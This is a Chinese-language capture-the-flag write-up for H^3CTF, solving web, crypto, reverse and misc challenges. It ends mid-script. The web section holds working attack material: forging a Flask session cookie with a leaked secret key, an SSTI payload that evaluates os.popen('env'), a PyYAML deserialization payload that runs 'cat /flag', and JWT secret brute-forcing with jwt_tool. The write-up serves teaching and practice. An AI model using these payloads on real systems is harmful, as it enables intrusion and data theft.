H^3CTF–HIT一校三区CTF赛

Web

🎭 渗透

题目描述:数据库启动需要一点时间
这道题不同于其他的 Web 题,更加接近实战场景。请转换视角,利用好一切信息!
登录后的安装过程除了语言不要修改任何东西,一直点击“下一页”就好了。题目与安装过程没有关系!
安装有点卡也是正常现象,需要等待一段时间。
三个flag分别在:/userflag,/rootflag或环境变量FLAG2,/flag3

上网搜了一下 CVE 复现,有 CVE-2025-24367

CVE-2025-24367(Cacti任意文件创建致远程代码执行漏洞)vulhub复现-CSDN博客

账号密码均是 admin/admin

//后面再补

git泄露

在 scrabble-master 目录下执行

chmod +x scrabble
./scrabble http://82.157.117.253:32979/

获取到源码 app.py

import os
from flask import Flask, request, session, jsonify, abort, send_from_directory


app = Flask(__name__)
app.secret_key = "ece4f9e0-fc73-490a-8058-d220d1a57227"


def get_env(name: str, default: str = "") -> str:
    return os.environ.get(name, default)


@app.route("/app/")
def index():
    return "Welcome to the Git Hacker! Go to /app/login, /app/whoami, /app/get_flag"


@app.route("/app/whoami")
def whoami():
    return jsonify({
        "user": session.get("user", "guest"),
        "is_admin": session.get("is_admin", False),
    })


@app.route("/app/login")
def login():
    data = request.get_json(silent=True) or request.form
    username = data.get("username", "guest")
    session["user"] = username
    session["is_admin"] = False
    return jsonify({"ok": True, "message": f"Logged in as {username}, go to /app/whoami"})

@app.route("/app/get_flag")
def get_flag():
    if session.get("is_admin") is True:
        flag1 = get_env("FLAG1", "flag{local_flag1_placeholder}")
        return jsonify({"flag": flag1})
    else:
        return jsonify({"error": "Only admin can get the flag"}), 403

@app.route("/app/debug")
def debug():
    debug_key = request.headers.get("Authorization", "")
    real_key = get_env("ROOT_DEBUG_KEY", "")
    if real_key and debug_key == real_key:
        env_vars = {k: v for k, v in os.environ.items() if "FLAG2" in k}
        return jsonify(env_vars)
    return "Who are you?"

if __name__ == "__main__":
    port = int(os.environ.get("PORT", 5000))
    app.run(host="0.0.0.0", port=port, debug=False)

发现 flag1 的获取条件是 session.get("is_admin") 必须为 True

/app/login 拿到一个作为 user 身份为 guest 的有效 session

session=eyJpc19hZG1pbiI6ZmFsc2UsInVzZXIiOiJndWVzdCJ9.aOnCGg.1-_nfldLhquk_bgPuJjvBFLeLdE; Path=/; HttpOnly;

很明显这里告知我们作为 guest 身份登录,

写一个代码根据密钥 secret_key = "ece4f9e0-fc73-490a-8058-d220d1a57227" 修改合法 session 为 admin 身份的脚本:

from flask import Flask
from flask.sessions import SecureCookieSessionInterface
import json

def generate_admin_session(secret_key):
    # 创建一个临时的Flask应用实例
    app = Flask(__name__)
    app.secret_key = secret_key  # 将密钥设置到应用实例中
    
    # 获取签名序列化器
    session_interface = SecureCookieSessionInterface()
    serializer = session_interface.get_signing_serializer(app)  # 传入应用实例
    
    # 要设置的管理员会话数据
    session_data = {
        "user": "admin",
        "is_admin": True
    }
    
    # 序列化并签名会话数据
    admin_session = serializer.dumps(session_data)
    return admin_session

if __name__ == "__main__":
    # 目标应用的secret_key
    secret_key = "ece4f9e0-fc73-490a-8058-d220d1a57227"
    
    # 生成管理员会话
    admin_session = generate_admin_session(secret_key)
    print(f"管理员会话: {admin_session}")
    print("\n使用方法:")
    print(f"Set-Cookie: session={admin_session}; Path=/; HttpOnly;")
'''
Set-Cookie: session=eyJ1c2VyIjoiYWRtaW4iLCJpc19hZG1pbiI6dHJ1ZX0.aOnFRw.GkBZfqRHHNRPprzFWi8qOu8mj7A; Path=/; HttpOnly;
'''

或者使用

flask-unsign --sign --cookie "{'is_admin': True, 'user': 'admin'}" --secret 'ece4f9e0-fc73-490a-8058-d220d1a57227'

也可以拿到有效的 token :eyJpc19hZG1pbiI6dHJ1ZSwidXNlciI6ImFkbWluIn0.aOobmQ.7hED6XQiT-PFpZgRch_0eo5rRwI

则修改 token 后查看 /app/whoami 可以看到作为 admin 成功登录,

然后访问 /app/get_flag 拿到 flag1: H3CTF{47e1424cd045c1693e47bed4b90d1e9f}

flag2 的获取在 /app/debug 中:

  1. 该接口检查请求头中的 Authorization 字段是否与环境变量 ROOT_DEBUG_KEY 的值匹配
  2. 验证通过后,会返回所有包含 “FLAG2” 的环境变量
  3. 因此,获取 flag2 的关键是得到 ROOT_DEBUG_KEY 的值,并在请求时通过 Authorization 头传递

看了一下教学文档,这道题需要了解什么是 git 的游离提交。

在 .git 仓库目录下执行 git reflog --all

可以看到两个游离提交记录

d45efeb (HEAD -> master) HEAD@{0}: reset: moving to HEAD
d45efeb (HEAD -> master) HEAD@{1}:

尝试 git reset d45efeb --hard 并没有看到当前仓库中出现 .env 文件,拿不到 ROOT_DEBUG_KEY 。

后面换了其他方式拿到 ROOT_DEBUG_KEY 的值 06de5054-d971-4f65-80e6-cee9c9669c29 后,请求时通过 Authorization 头传递获取 FLAG2: H3CTF{b5d0e73e76088b5de461e9b364eb5445}

gallery

上传文件的时候,并没有检查上传文件的后缀,只要求文件名包含恰好 1 个 .。我们只要让文件名以 / 开头,就可以直接利用这个接口在任意位置写文件了。发现 /app/templates 目录下有写的权限,所以将内容写到 index.html 中,就可以 ssti 执行任意命令了:

{{url_for.__globals__["__builtins__"]["eval"]("__import__('os').popen('env').read()")}}

🤪 ez_yaml

ez_yaml:

搜pyyaml反序列化,得到可用 !!python/object/apply:eval 来执行 eval 函数,然后利用字符串拼接绕过黑名单过滤即可:

!!python/object/apply:eval
- "eval(\"__import__('o\"+\"s').po\"+\"pen('cat /flag').r\"+\"ead()\")"

👀 OnlineJudge

#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>

int main() {
  DIR *dir;
  struct dirent *ent;
  if ((dir = opendir("/")) != NULL) {
    while ((ent = readdir(dir)) != NULL) {
      printf("%s\n", ent->d_name);
    }
    closedir(dir);
  }
  return 0;
}

可以看到回显:

尝试打开 /flag 文件失败,利用 c 语言头文件引用错误带出 flag 信息:

H3CTF{68ad750ccf66dca5f68db8758969338e}

☯️ CyberDivination

JWT 伪造

查看一下注册和登录界面的 html 源码:

可以看到 fetch 请求:

fetch('/api/reg.php', {
    credentials: 'include',
    method: 'POST',
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify(formData)
})

api/reg.php 传入 json 格式的数据:

{
  "username": "xxx",
  "password": "xxx",
  "email": "xxx",
  "secondpasswd": "xxx"
}

再对 api/login.php POST 传入数据:

{
  "username": "xxx",
  "password": "xxx"
}

显示登录成功,然后对 api/index.php 以 POST 方式发送数据:

{
  "year": 2023,
  "month": 10, 
  "day": 15,
  "hour": 1
}

可以看到正常回显,

然后题目提示为以 JWT 方式进行用户验证,且要求用户为 Master 可以看到信息。

查看 Cookie 内容可以得到一个 JWT 格式的 token :

session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciJ9.-d3EQMJiRHgzqw47HGCfCHw2oKsI44eNaYDyRTyu2tM

用 JWT_Tool 爆破密钥

python3 jwt_tool.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciJ9.-d3EQMJiRHgzqw47HGCfCHw2oKsI44eNaYDyRTyu2tM" -C -d ../../rockyou.txt

拿到 reallygood 。

再随便找一个在线 JWT 解密加密工具,并且修改用户名 user 值为 Master 拿到伪造成为 Master 的 token :eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiTWFzdGVyIn0.jtCrDVR2bNjgbax9YfjNIP3rTdSio6lXG79NCLEnBJM

然后修改原 Cookie 为伪造后的 token 即可拿到 flag:

H3CTF{975dac68689a2255c721cea739744a99}

Crypto

简单RSA

solve.py

from Crypto.Util.number import long_to_bytes
import gmpy2

n = 18267208154653893980929800575964608546551112060956143411146788481114857120669900058071215148330754259183199587716134893778105986201968358406100376342345512412590545862326312484320044823055116142033943458362850270278718584244151524609062347310636764406490718287047988576683476919282477117056849763051051665467813615840185122828290186740529034795710158574396667956675607920800731296078543764909764864850856619769257413619029909960579259374649702287778609279888382580180491456204263799549271278105755147589334837174872786579030819248473004057751877448438120699429171527322600535827093229910390902774515664891068565725223
e1 = 7634992195306653228956179592467268917
e2 = 3886356344544036773491706672427326680305055160386482219239127128946145704243083895553979289948469
c1 = 12014117972714695703479022362757255514479928146538337657834220454241432241366322360595866951648368835732568720998138038985782769578797586473414166774692214030139925844226488683869237059506627069470310782941738184720582798910518062939288730000274353413236556482437369257419061343498031854022450719104113284293996289967815116247662352211337375961188476523457147119314791690751991390054606954167955035815297723851007934474695073742219885132427378597371883394769873844367514754215799455097242488531555003099466552372239867438821036982573427949027339373234763826264749274836372637312458475687873965337550179825971615015754
c2 = 7189579330111704497296456725961610760677174528225883170386504427911504388211958484060970732931639734037266850472428528069665486700617673247813329563057266391223435024378290681605533111097313897220695547879760201705679827074194215694081074980475918559585563883772411744659485300430819326414602019908054382428662300553679826732096674391561631970748837313120661427434246162430997196726152590783161216738381692060599411002029596630967666534348674970169531868126056135056905264159063686109645172962326324875225727766770912404995105458037580346487568600443218248397890945026345534687415161949512179352010041085246411373058

# 使用扩展欧几里得算法找到满足 e1*s + e2*t = gcd(e1, e2) 的 s 和 t
gcd, s, t = gmpy2.gcdext(e1, e2)

if s < 0:
    s = -s
    c1 = gmpy2.invert(c1, n)
if t < 0:
    t = -t
    c2 = gmpy2.invert(c2, n)

# 计算明文: m = (c1^s * c2^t) mod n
m = (pow(c1, s, n) * pow(c2, t, n)) % n

# 将明文转换为字节
flag = long_to_bytes(m)
print(flag.decode())

H3CTF{R@S@A_s0_e@sy!!!}

🤔 SSS???

第一关:

选择 level 1,程序会打印 p

计算 q = p // 2,把 x = q 作为输入(满足 0 < x < p)。

p = xxxxxx
q = p // 2
print(f"[*] q: {q}")

程序打印 share = s,随后你做判断:secret = s if s < q else s - q

secret 作为猜测输入送回,若正确会得到 flag。

H3CTF{fd25106f3e4229e38b907b619a1ea200}

第二关:

选择 level 2,自己控制输入一个素数 p

选一个满足 m | (p-1) 的素数 p,把 10 个查询点都放在模 p 的一个大小为 m 的乘法子群 H 内(即 H = <h>h^m = 1)。这样 degree=16 的多项式在子群上按指数 mod m 周期化,原来的 17 个系数 a_0..a_16 会被“折叠”成 m 个组合系数 b_0..b_{m-1}

m = 10

寻找一个素数 p(满足 p.bit_length() > 128,题目限制)且 10 | (p-1)

找到 h,使 h 的阶恰为 m(或至少 h^m == 1h^d != 1 对任意 proper divisor d 成立);

把 10 个查询 x_i 设为 h^0, h^1, ..., h^9(这 10 个值互不相同,且都属于子群 H);

拿到 10 个 y_i = f(x_i),解模 p 的线性系统(Vandermonde)得出 b_0..b_9

选择 idx 为 7 或 8 或 9(任选其一),把对应的 b_idx 当作 a_idx 的猜测提交。

自动寻找合适素数 p 的代码如下,运行可以得到一组 phxs

# find_p_and_exploit.py
# 作用:
#  1) 寻找一个素数 p 满足 (p-1) % m == 0 且 bit_length >= min_bits
#  2) 找到子群生成元 h (h^m == 1 mod p, h != 1)
#  3) 生成 x = [h^0, h^1, ..., h^(m-1)] (用于请求 shares)
#  4) 给出解线性系统的函数 solve_mod_vandermonde to recover b_0..b_{m-1}
#
# 使用方式(本地):
#  1) 运行脚本找到 p 和 x
#  2) 把 p 发送到 challenge(level2)
#  3) 对每个 x_i 接口得到 y_i(程序会输出 share)
#  4) 把 y 列表输入脚本的 recover 部分,得到 b_j
#
from Crypto.Util.number import isPrime, getRandomNBitInteger
import random
import math

def find_prime_with_factor(m, min_bits=256, tries=100000):
    # 寻找 p = m * k + 1 为素数,位长 >= min_bits
    # 简单暴力:随机选 k 使 p 的位长合适,然后测试素性
    # 试多次直到找到
    for attempt in range(tries):
        # 生成一个随机 candidate p of approximately min_bits
        k_bits = max(4, min_bits - m.bit_length())  # 粗略估计 k 的位数
        k = getRandomNBitInteger(k_bits) | 1  # 奇数 k
        p = m * k + 1
        if p.bit_length() < min_bits:
            continue
        if isPrime(p):
            return p, k
    raise RuntimeError("未找到合适的 p(增加 tries 或降低 min_bits)")

def find_element_of_order_m(p, m, tries=200):
    # 在 Z_p^* 里寻找一个元素 h s.t. h^m == 1 (mod p) but h^d != 1 for proper divisors d
    # i.e. 找到确切阶为 m 的元素(若找不到也可以接受有序数 m 的元素)
    for _ in range(tries):
        a = random.randrange(2, p-1)
        h = pow(a, (p-1)//m, p)
        if h == 1:
            continue
        # 验证阶确为 m (可选,测试对每个 d|m 检查)
        ok = True
        for d in range(1, int(math.sqrt(m))+1):
            if m % d == 0:
                for dd in {d, m//d}:
                    if dd == m: 
                        continue
                    if pow(h, dd, p) == 1:
                        ok = False
                        break
            if not ok:
                break
        if ok:
            return h
    # 若没有找到“确切阶 = m” 的元素,返回最后找到的 h(只要 h^m == 1 且 h != 1,就可用)
    # 再次尝试放宽条件
    for _ in range(tries):
        a = random.randrange(2, p-1)
        h = pow(a, (p-1)//m, p)
        if h != 1 and pow(h, m, p) == 1:
            return h
    raise RuntimeError("未找到元素阶 m")

# 模 p 下求解 Vandermonde 线性系统(n 个点)
def solve_mod_linear_system(xs, ys, p):
    # xs, ys 长度相同为 n,求 b_0..b_{n-1} 使 sum_{j=0..n-1} b_j * xs[i]^j ≡ ys[i] (mod p)
    # 用模逆的高斯消元
    n = len(xs)
    # 构造矩阵 A (n x n) 和向量 y (n)
    A = [[pow(xs[i], j, p) for j in range(n)] for i in range(n)]
    b = [yi % p for yi in ys]

    # 扩展矩阵进行高斯消元
    # 将 A|b 转换为上三角并解出解向量
    # 使用行交换和模逆
    for col in range(n):
        # 找到 pivot 行
        pivot = None
        for r in range(col, n):
            if A[r][col] % p != 0:
                pivot = r
                break
        if pivot is None:
            raise RuntimeError("矩阵奇异,无法解;x 可能不互异或不是子群元素")
        # 交换
        if pivot != col:
            A[col], A[pivot] = A[pivot], A[col]
            b[col], b[pivot] = b[pivot], b[col]
        inv = pow(A[col][col], p-2, p)
        # 归一化当前行
        for j in range(col, n):
            A[col][j] = (A[col][j] * inv) % p
        b[col] = (b[col] * inv) % p
        # 消去下面行
        for r in range(n):
            if r == col:
                continue
            factor = A[r][col]
            if factor == 0:
                continue
            for j in range(col, n):
                A[r][j] = (A[r][j] - factor * A[col][j]) % p
            b[r] = (b[r] - factor * b[col]) % p
    # 现在 A 应该是单位矩阵,b 就是解
    return [int(x % p) for x in b]

if __name__ == "__main__":
    m = 10
    min_bits = 256   # 你可以改成 512
    print("[*] searching for prime p with factor m =", m)
    p, k = find_prime_with_factor(m, min_bits=min_bits, tries=50000)
    print("[*] found p (bits):", p.bit_length())
    print("[*] p =", p)
    print("[*] p-1 =", p-1, " = m * k with k =", k)
    h = find_element_of_order_m(p, m)
    print("[*] found subgroup generator h:", h)
    # create x list
    xs = [pow(h, i, p) for i in range(m)]
    print("[*] xs (len):", len(xs))
    print(xs)
    print("===\nNow use these xs as the 10 queries you send to the challenge after submitting p.\n"
          "Collect the 10 shares y_i, then run this script's solve part to recover b_j.\n")
    # 示例:假设你得到 ys 列表(填入下面)
    # ys = [...]
    # b = solve_mod_linear_system(xs, ys, p)
    # print("recovered b:", b)
    
'''
[*] searching for prime p with factor m = 10
[*] found p (bits): 256
[*] p = 60176781819119645489106165553097515903128769170273311755382510137415562876431
[*] p-1 = 60176781819119645489106165553097515903128769170273311755382510137415562876430  = m * k with k = 6017678181911964548910616555309751590312876917027331175538251013741556287643
[*] found subgroup generator h: 2648494315865615251148376527822066469211412919048447834120331635914528764280
[*] xs (len): 10
[1, 2648494315865615251148376527822066469211412919048447834120331635914528764280, 36102747614092073511290007580169787950207781028154019769813253026713701818196, 11107604285487999088125136160210453291820489059455054925543111224942612929538, 37830132806381186317089670660960247713952890120622794745232699971559002752052, 60176781819119645489106165553097515903128769170273311755382510137415562876430, 57528287503254030237957789025275449433917356251224863921262178501501034112151, 24074034205027571977816157972927727952920988142119291985569257110701861058235, 49069177533631646400981029392887062611308280110818256829839398912472949946893, 22346649012738459172016494892137268189175879049650517010149810165856560124379]
===
Now use these xs as the 10 queries you send to the challenge after submitting p.
Collect the 10 shares y_i, then run this script's solve part to recover b_j.
'''

在 challenge 中选择 level2(输入 2)。

当被询问 gimme your p > 时,把脚本找到的 p发过去。程序会检查 isPrime(p)p.bit_length() > 128,应当通过。

程序随后在循环里 10 次 请求 gimme your x >,你逐个把 xs[i] 发给它(顺序任意,但与后面解系统顺序对应即可)。每次它会打印 [*] share: ...(这是 y_i)。

gimme your x > 1
[*] share: 50228605036070796425295387436924142656290590470485325716035633009096504277571
gimme your x > 2648494315865615251148376527822066469211412919048447834120331635914528764280
[*] share: 23627979887334437339908120380807397451416276471029933190725194829913846970224
gimme your x > 36102747614092073511290007580169787950207781028154019769813253026713701818196
[*] share: 50517824231026490880610369454556749621901269343369193461945804266137603186318
gimme your x > 11107604285487999088125136160210453291820489059455054925543111224942612929538
[*] share: 32872751508715504216222293324137993611414877014604688153979278448773453334387
gimme your x > 37830132806381186317089670660960247713952890120622794745232699971559002752052
[*] share: 52196972200840584838117587189509808212514253813677158406059895055880403645547
gimme your x > 60176781819119645489106165553097515903128769170273311755382510137415562876430
[*] share: 50412994979181339182403094396822191002910553267104258282154791645301278831627
gimme your x > 57528287503254030237957789025275449433917356251224863921262178501501034112151
[*] share: 2842537618178594479131869709923982085942535914061309951770081970764013404636
gimme your x > 24074034205027571977816157972927727952920988142119291985569257110701861058235
[*] share: 23454019332998872411960817730925887018061667423089458254053553586051870088865
gimme your x > 49069177533631646400981029392887062611308280110818256829839398912472949946893
[*] share: 30009533728698422482739635479816559118480128391220578501755615199711244312523
gimme your x > 22346649012738459172016494892137268189175879049650517010149810165856560124379
[*] share: 37002583875450004835121757107691011048944444674215255018813920134177427756879

记录下 10 个 share 值 y_0..y_9

写一个脚本根据 px_0..x_9 以及 y_0..y_9获取到 b_0..b_9

# paste_and_solve.py
# 直接把你给出的 xs 和 ys 粘贴进来,设置 p 为你在 challenge 中提交的素数
# 如果你不知道 p,请用下面示例的 p(这是我用 next_prime(max(ys)) 找到的一个可行素数)
xs = [
1,
2648494315865615251148376527822066469211412919048447834120331635914528764280,
36102747614092073511290007580169787950207781028154019769813253026713701818196,
11107604285487999088125136160210453291820489059455054925543111224942612929538,
37830132806381186317089670660960247713952890120622794745232699971559002752052,
60176781819119645489106165553097515903128769170273311755382510137415562876430,
57528287503254030237957789025275449433917356251224863921262178501501034112151,
24074034205027571977816157972927727952920988142119291985569257110701861058235,
49069177533631646400981029392887062611308280110818256829839398912472949946893,
22346649012738459172016494892137268189175879049650517010149810165856560124379
]
ys = [
50228605036070796425295387436924142656290590470485325716035633009096504277571,
23627979887334437339908120380807397451416276471029933190725194829913846970224,
50517824231026490880610369454556749621901269343369193461945804266137603186318,
32872751508715504216222293324137993611414877014604688153979278448773453334387,
52196972200840584838117587189509808212514253813677158406059895055880403645547,
50412994979181339182403094396822191002910553267104258282154791645301278831627,
2842537618178594479131869709923982085942535914061309951770081970764013404636,
23454019332998872411960817730925887018061667423089458254053553586051870088865,
30009533728698422482739635479816559118480128391220578501755615199711244312523,
37002583875450004835121757107691011048944444674215255018813920134177427756879
]

# --------- 下面这个 p 我是演示时用 next_prime(max(ys)) 找到的(请替换为你实际提交的 p) ----------
p = 60176781819119645489106165553097515903128769170273311755382510137415562876431
# -------------------------------------------------------------------------------------------

def solve_mod_linear_system(xs, ys, p):
    n = len(xs)
    A = [[pow(xs[i], j, p) for j in range(n)] for i in range(n)]
    b = [yi % p for yi in ys]
    # Gaussian elimination mod p
    for col in range(n):
        pivot = None
        for r in range(col, n):
            if A[r][col] % p != 0:
                pivot = r
                break
        if pivot is None:
            raise RuntimeError("Singular matrix (pivot not found). xs may be invalid or not distinct.")
        if pivot != col:
            A[col], A[pivot] = A[pivot], A[col]
            b[col], b[pivot] = b[pivot], b[col]
        inv = pow(A[col][col], p-2, p)
        for j in range(col, n):
            A[col][j] = (A[col][j] * inv) % p
        b[col] = (b[col] * inv) % p
        for r in range(n):
            if r == col:
                continue
            factor = A[r][col]
            if factor == 0:
                continue
            for j in range(col, n):
                A[r][j] = (A[r][j] - factor * A[col][j]) % p
            b[r] = (b[r] - factor * b[col]) % p
    return [int(x % p) for x in b]

b = solve_mod_linear_system(xs, ys, p)
print("recovered b_0..b_9 (decimal):")
for i, val in enumerate(b):
    print(f"b_{i} = {val}")
'''
recovered b_0..b_9 (decimal):
b_0 = 53369614785585398355882942887040826953726290429367709420344129855805433443787
b_1 = 21589474089881487488063238815540788458984292203577602409833820154744704627045
b_2 = 52709056663034786600591814706866106902835519524660298054123580340145264485031
b_3 = 26101970882494498667206212229561841794882346088023784172833970868234321901463
b_4 = 11685589225542474402251904201480131787294974450927225060983264465517376526587
b_5 = 43966261596497224954402192520202937288428234327468315542551786181928083197963
b_6 = 40865625852003135107993370804449260332374746262466749783578699344832460863822
b_7 = 27661773104998402942286447967964261311593996232086837719415198780077691939390
b_8 = 12044477119699564315341539423231872659626579541919433190830558595729481988234
b_9 = 941888992812405547700386092976178779058688091080617383070664971743936809973
'''

选择 idx:程序会要求你输入 idx, guess,选择 idx = 7(或 8 或 9),因为这些索引在折叠里是“没有合并”的单独系数。

选择 idx=7,那么真正的系数 a_7 = b_7(脚本返回的 b[7])。

提交 idx, guess(格式:7,27661773104998402942286447967964261311593996232086837719415198780077691939390,其中 27661773104998402942286447967964261311593996232086837719415198780077691939390 就是脚本返回的 b[7] 的十进制表示)。猜测正确,程序则会读出 flag2 并打印。

H3CTF{83c197fd0cb4bff6fd5d723a6915c11e}

第三关:

嘶,思路卡住了

Reverse

良子大胃袋

IDA 打开:

H3CTF{Y1y@nd1ngzh3n_j1AndinGwei_daweiD@i}

查看左侧函数,发现 tea_decrypt:

void __cdecl tea_decrypt(int i)
{
  int i_0; // [rsp+10h] [rbp-10h]
  unsigned int sum; // [rsp+14h] [rbp-Ch]
  unsigned int v1; // [rsp+18h] [rbp-8h]
  unsigned int v0; // [rsp+1Ch] [rbp-4h]

  v0 = cipher[i];
  v1 = cipher[i + 1];
  sum = -957401312;
  for ( i_0 = 0; i_0 <= 31; ++i_0 )
  {
    v1 -= (v0 + sum) ^ (16 * v0 + 3) ^ ((v0 >> 5) + 4);
    v0 -= (v1 + sum) ^ (16 * v1 + 1) ^ ((v1 >> 5) + 2);
    sum += 1640531527;
  }
  *(_DWORD *)&flag2[4 * i] = v0;
  *(_DWORD *)&flag2[4 * i + 4] = v1;
}

直接ai一个解密脚本:

def u32(x):
    return x & 0xFFFFFFFF

cipher = [
    0x0C843B3BE & 0xFFFFFFFF,
    0x76FB659D,
    0x4D45B142,
    0x36092922,
    0x0D49A250E & 0xFFFFFFFF,
    0x2C578D59,
    0x0B154B667 & 0xFFFFFFFF,
    0x6529160A
]

def tea_decrypt_pair(v0, v1):
    sum_ = u32(-957401312)           # equals 0xC6EF3720 unsigned
    delta = 1640531527               # 0x61C88647
    for _ in range(32):
        v1 = u32(v1 - ( (u32(v0 + sum_) ^ u32((16 * v0 + 3) & 0xFFFFFFFF) ^ u32((v0 >> 5) + 4) )))
        v0 = u32(v0 - ( (u32(v1 + sum_) ^ u32((16 * v1 + 1) & 0xFFFFFFFF) ^ u32((v1 >> 5) + 2) )))
        sum_ = u32(sum_ + delta)
    return v0, v1

# 初始化 flag2(与二进制里 .data 的初值对应)
flag2 = bytearray([0x3F] * 24 + [0x00] * 8)

for i in (0, 2, 4, 6):
    dec0, dec1 = tea_decrypt_pair(cipher[i], cipher[i+1])
    off = 4 * i
    flag2[off:off+4]   = dec0.to_bytes(4, 'little')
    flag2[off+4:off+8] = dec1.to_bytes(4, 'little')

print(flag2)
print(flag2.decode('ascii'))

H3CTF{We1c0m3_2_CTFR3v3rS3!!!}

Misc

😵 快要坏掉的二维码

把附件解压缩后获得 A.npy 和 output.npy 跟chall.py 。

查看 chall.py 逻辑:

import numpy as np
from scipy.fftpack import dct
import qrcode
from functools import reduce

def gen_qr(data):
    qr = qrcode.QRCode(
        version=1,
        error_correction=qrcode.constants.ERROR_CORRECT_L,
        box_size=10,
        border=4,
    )
    qr.add_data(data)
    qr.make(fit=True)

    qr_image = qr.make_image(fill='black', back_color='white')
    return np.array(qr_image).astype(float)

def rs(image, size):
    H, W = image.shape
    Ha = H // size * size
    Wa = W // size * size
    print(Ha, Wa)
    return image[:Ha, :Wa]

def bs(image, size):
    return [image[i:i+size, j:j+size].flatten()
            for i in range(0, image.shape[0], size)
            for j in range(0, image.shape[1], size)]

def trans(blocks, size, len):
    mat = np.random.randn(size, len)
    return mat, [mat.dot(dct(block, norm='ortho')) for block in blocks]

def compose(*funcs):
    def compose_two(f, g):
        return lambda x: f(g(x))
    return reduce(compose_two, funcs)

def processor(block_size, rs_size):
    def rsp(img): return rs(img, block_size)
    def bsp(img): return bs(img, block_size)
    def transp(blocks): return trans(blocks, rs_size, block_size**2)

    return compose(transp, bsp, rsp, gen_qr)

flag = open("flag.txt", "r").read().strip()
BS = 8
RS = 20
A, out = processor(BS, RS)(flag)
np.save('A.npy', A)
np.save('output.npy', out)

flag 生成一个 QR 图像(gen_qr),把图像裁切成能被 BS=8 整除的区块(rs),每个 8×8 展平为长度 64 的向量(bs),对每个向量做 1D DCT,得到 64 个 DCT 系数。然后用一个随机矩阵 A(尺寸 RS x 64,这里 RS=20)对 DCT 系数做投影并保存: y = A @ dct(block) 因此保存的是:A.npy = A(20×64),output.npy 包含每个 block 的 20 维测量向量 y(总块数是 (Ha/8)*(Wa/8))。

逆运算思路:给定 Ay,我们可以用伪逆得到一个最小范数的 DCT 系数估计 s ≈ pinv(A) @ y,然后对 sidct 得到原始 block 的估计值,组装回整张图,再二值化并尝试解码 QR。

写一个脚本 npy_output.py 提取出 A.npy 和 output.npy 里的数据输出为 A.txt 和 output.txt 。

npy_output.py:

import numpy as np
import os

# === 设置目录路径 ===
base_dir = r"E:\CTF\2025-ctf\H_3CTF\Misc\快要坏掉的二维码"
a_path = os.path.join(base_dir, "A.npy")
out_path = os.path.join(base_dir, "output.npy")

a_txt_path = os.path.join(base_dir, "A.txt")
out_txt_path = os.path.join(base_dir, "output.txt")

# === 检查文件存在性 ===
if not os.path.exists(a_path):
    raise FileNotFoundError(f" 未找到文件: {a_path}")
if not os.path.exists(out_path):
    raise FileNotFoundError(f" 未找到文件: {out_path}")

# === 读取 A.npy ===
A = np.load(a_path)
print(" 成功加载 A.npy")
print("A shape:", A.shape)
print("A dtype:", A.dtype)
print("A example (前5×5):\n", A[:5, :5])

# === 导出 A.npy ===
np.savetxt(a_txt_path, A, fmt="%.10f")
print(f" 已导出 A.npy → {a_txt_path}")

# === 读取 output.npy ===
output = np.load(out_path, allow_pickle=True)
print("\n 成功加载 output.npy")
print("output 类型:", type(output))
if isinstance(output, np.ndarray):
    print("output shape:", output.shape)
    print("output dtype:", output.dtype)
else:
    print("output 不是 ndarray 类型,可能是列表。")

# === 导出 output.npy ===
with open(out_txt_path, "w", encoding="utf-8") as f:
    if isinstance(output, np.ndarray) and output.dtype == object:
        f.write(f"Total blocks: {len(output)}\n\n")
        for i, block in enumerate(output):
            f.write(f"# Block {i} ({len(block)} values)\n")
            f.write(" ".join(f"{v:.10f}" for v in block))
            f.write("\n\n")
    elif isinstance(output, np.ndarray) and output.ndim == 2:
        f.write(f"Matrix shape: {output.shape}\n\n")
        for row in output:
            f.write(" ".join(f"{v:.10f}" for v in row))
            f.write("\n")
    else:
        f.write("Unknown output format:\n")
        f.write(str(output))
        f.write("\n")

print(f" 已导出 output.npy → {out_txt_path}")

print("\n 所有数据已成功导出为文本文件!")

再写一个脚本还原二维码:

import numpy as np
from scipy.fftpack import idct
from PIL import Image
import os, re, math

# === 基础参数 ===
BS = 8        # block size
RS = 20       # rows of A
BORDER = 4
BOX_SIZE = 10
VERSION = 1   # QR version 1 -> 21 modules

# === 文件路径 ===
base_dir = r"E:\CTF\2025-ctf\H_3CTF\Misc\broken_qr"
a_txt_path = os.path.join(base_dir, "A.txt")
out_txt_path = os.path.join(base_dir, "output.txt")

# === Step 1: 读取 A.txt ===
def load_A_from_txt(path):
    A = np.loadtxt(path)
    # 校正维度方向
    if A.shape == (RS, BS*BS):
        return A
    elif A.shape == (BS*BS, RS):
        return A.T
    else:
        raise ValueError(f"Unexpected A shape {A.shape}, expected (20,64) or (64,20)")

# === Step 2: 读取 output.txt ===
def load_output_from_txt(path):
    rows = []
    float_re = re.compile(r'[-+]?\d*\.\d+|[-+]?\d+')
    with open(path, 'r', encoding='utf-8') as f:
        for line in f:
            line = line.strip()
            if not line or line.startswith("#") or "Block" in line or "Matrix" in line:
                continue
            nums = float_re.findall(line)
            if len(nums) == RS:
                rows.append([float(x) for x in nums])
            elif len(nums) > 0 and len(nums) % RS == 0:
                for i in range(0, len(nums), RS):
                    chunk = nums[i:i+RS]
                    rows.append([float(x) for x in chunk])
    output = np.array(rows, dtype=float)
    print(f"✅ 读取 output.txt 完成,共 {len(output)} 块,每块 {RS} 维")
    return output

# === Step 3: 重建二维码灰度图 ===
def reconstruct(A, output):
    A_pinv = np.linalg.pinv(A)
    nblocks = output.shape[0]

    # 推算二维码大小
    #module_count = 21
    #expected_size = (module_count + 2 * BORDER) * BOX_SIZE  # = 290
    #Ha = expected_size // BS * BS
    #Wa = Ha
    # 自动推算模块数
    nblocks = output.shape[0] 
    blocks_per_row = int(round(np.sqrt(nblocks)))
    Ha = blocks_per_row * BS
    Wa = Ha
    print(f"自动推算图像大小: {blocks_per_row}x{blocks_per_row} 块, 尺寸 {Ha}x{Wa} 像素")

    blocks_per_row = Wa // BS
    blocks_per_col = Ha // BS
    assert nblocks == blocks_per_row * blocks_per_col, f"块数不匹配: {nblocks}"

    image = np.zeros((Ha, Wa))
    k = 0
    for i in range(0, Ha, BS):
        for j in range(0, Wa, BS):
            y = output[k]
            s_hat = A_pinv.dot(y)
